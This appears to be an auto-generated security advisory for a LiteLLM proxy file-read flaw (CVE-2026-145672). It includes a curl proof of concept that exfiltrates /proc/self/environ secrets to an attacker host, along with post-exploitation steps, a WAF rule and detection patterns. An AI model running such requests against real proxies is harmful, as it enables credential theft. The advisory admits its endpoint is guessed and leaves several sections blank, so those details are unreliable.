CVE-2026-145672 — CWE-73
BerriAI LiteLLM before 1.103.10, 1.104.x before 1.104.8, 1.105.x before 1.105.6, and 1.106.x before 1.106.5 contains an unauthenticated file read vulnerability on Enterprise-licensed proxies, where callback parameters such as gcs_path_service_account in requests to LLM routes control a local file path that the proxy reads and sends to an attacker-chosen URL. Remote attackers can exfiltrate /proc/self/environ to obtain LITELLM_MASTER_KEY and provider API keys, gaining full admin access to the proxy.
BerriAI LiteLLM before 1.103.10, 1.104.x before 1.104.8, 1.105.x before 1.105.6, and 1.106.x before 1.106.5 contains an unauthenticated file read vulnerability on Enterprise-licensed proxies, where callback parameters such as gcs_path_service_account in requests to LLM routes control a local file path that the proxy reads and sends to an attacker-chosen URL. Remote attackers can exfiltrate /proc/self/environ to obtain LITELLM_MASTER_KEY and provider API keys, gaining full admin access to the proxy.
🎯 What is this vulnerability?
CVE‑2026‑145672 is a classic CWE‑73 Absolute Path Traversal flaw that exists in the Enterprise‑licensed proxy component of BerriAI LiteLLM.
The proxy exposes LLM routes that accept a callback parameter (e.g., gcs_path_service_account). The value of this parameter is used directly as a file path when the proxy reads a local file and forwards its contents to the URL supplied in the callback.
Key points of the flaw:
| Layer | Missing / Incorrect Check |
|---|---|
| Authentication | The vulnerable endpoint is reachable without any authentication or authorization. |
| Input Validation | No sanitisation or whitelisting of the gcs_path_service_account value. The proxy accepts any string, including absolute paths and path‑traversal sequences. |
| Authorization | The proxy does not verify that the caller is allowed to read the requested file. |
| Exfiltration | The file contents are sent to an arbitrary URL supplied by the attacker, allowing remote exfiltration of data. |
Because the proxy runs with the same privileges as the LiteLLM service, reading /proc/self/environ yields the process environment, which contains the LITELLM_MASTER_KEY and any provider API keys. With those secrets the attacker can:
- Impersonate an administrator (by forging signed requests or by using the master key to generate new admin tokens).
- Call any internal or external LLM provider APIs on behalf of the proxy.
- Modify configuration files or other sensitive data.
The CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H reflects that a remote attacker can achieve full administrative control with no authentication or UI interaction.
⚡ Attack Chain
NOTE: The exact URI for the LLM route is not published in the CVE text. The example below uses /api/v1/llm as an illustrative endpoint that follows the typical pattern used by LiteLLM. If your environment uses a different path, substitute it accordingly.1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| Version Fingerprinting | HTTP header inspection, /version endpoint, or curl -I | X-BerriAI-Version: 1.104.5 (or any < 1.103.10, < 1.104.8, < 1.105.6, < 1.106.5) |
| License Detection | Check for Enterprise flag in /config or /license endpoint | Presence of enterprise: true |
| Endpoint Enumeration | Scan for /api/v1/llm or similar | curl -X GET http://target/api/v1/llm returns 200 |
If the target is running an affected version and is Enterprise‑licensed, the vulnerability is present.
2. Exploitation
The attacker crafts a request that:
1. Sets gcs_path_service_account to an absolute path that the proxy can read (/proc/self/environ).
2. Supplies a callback_url that points to an attacker‑controlled server.
Illustrative PoC (curl)
curl -X POST "http://<target-host>/api/v1/llm" \
-H "Content-Type: application/json" \
-d '{
"prompt": "dummy",
"gcs_path_service_account": "/proc/self/environ",
"callback_url": "http://<attacker-host>/receive"
}'What happens on the server side?
The proxy reads /proc/self/environ, obtains the environment variables, and sends the raw content to http://<attacker-host>/receive. The attacker’s server receives a payload that looks like:
LITELLM_MASTER_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
PROVIDER_API_KEY=sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
...Because the proxy has no authentication guard, the request succeeds even from an unauthenticated IP.
3. Post‑Exploitation
With the secrets in hand, the attacker can:
| Action | How it’s achieved |
|---|---|
| Impersonate Admin | Use LITELLM_MASTER_KEY to sign requests or generate new admin JWTs via the internal /admin/token endpoint (if available). |
| Call Provider APIs | Use the provider API key to send requests to the LLM provider on behalf of the proxy, effectively bypassing rate limits or billing. |
| Modify Configuration | Write to config.yaml or other files by leveraging the master key to authenticate to the /admin/config API. |
| Data Exfiltration | Use the proxy as a pivot to exfiltrate data from other internal services. |
The attacker now has full administrative control over the proxy, which can be used to launch further attacks (e.g., RCE via other vulnerable endpoints, lateral movement, or persistence).
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality | Full disclosure of LITELLM_MASTER_KEY and all provider API keys. |
| Integrity | Ability to modify any configuration, inject malicious prompts, or tamper with internal state. |
| Availability | The attacker can repeatedly trigger the vulnerability, causing high CPU usage or exhausting file descriptors, leading to denial of service. |
| Scope | The vulnerability changes the scope (S:C) because the attacker can gain privileges that affect the entire system. |
Practical consequences for an organization:
🛡️ Remediation & Mitigation
Affected Versions
| Product | Affected Versions |
|---|---|
| BerriAI LiteLLM Enterprise Proxy | < 1.103.10, < 1.104.8, < 1.105.6, < 1.106.5 |
Upgrade Recommendation
Upgrade to the first non‑affected release:
Workarounds
1. Disable the callback feature
If the proxy configuration allows disabling the callback mechanism, set enable_callback: false.
2. Restrict gcs_path_service_account to a whitelist
Example (pseudo‑config):
allowed_file_paths:
- /tmp/*
- /var/lib/litellm/*3. Restrict callback_url to internal addresses
allowed_callback_domains:
- internal.company.com4. WAF / ModSecurity rule
SecRule REQUEST_URI|ARGS|ARGS_NAMES "@rx (?:\.\./)+|/proc/self/environ" \
"id:1001,phase:2,deny,status:403,msg:'CWE-73 File Read Exploit Attempt'"5. Network segmentation
Place the proxy in a separate subnet with no outbound internet access. Use a proxy or firewall to allow only necessary outbound traffic.
Detection
| Log Pattern | Example |
|---|---|
| Unauthorized file read attempt | POST /api/v1/llm 200 - gcs_path_service_account=/proc/self/environ |
| Outbound HTTP request to attacker domain | POST http://attacker.com/receive 200 - |
| 403 responses from WAF | SecRuleMatch: CWE-73 File Read |
Indicators of Compromise (IoCs)
/api/v1/llm containing /proc/self/environ in any parameter.LITELLM_MASTER_KEY or PROVIDER_API_KEY in logs or captured payloads.⚠️ Urgency
[🤖 CVE Professor AI Security Engine]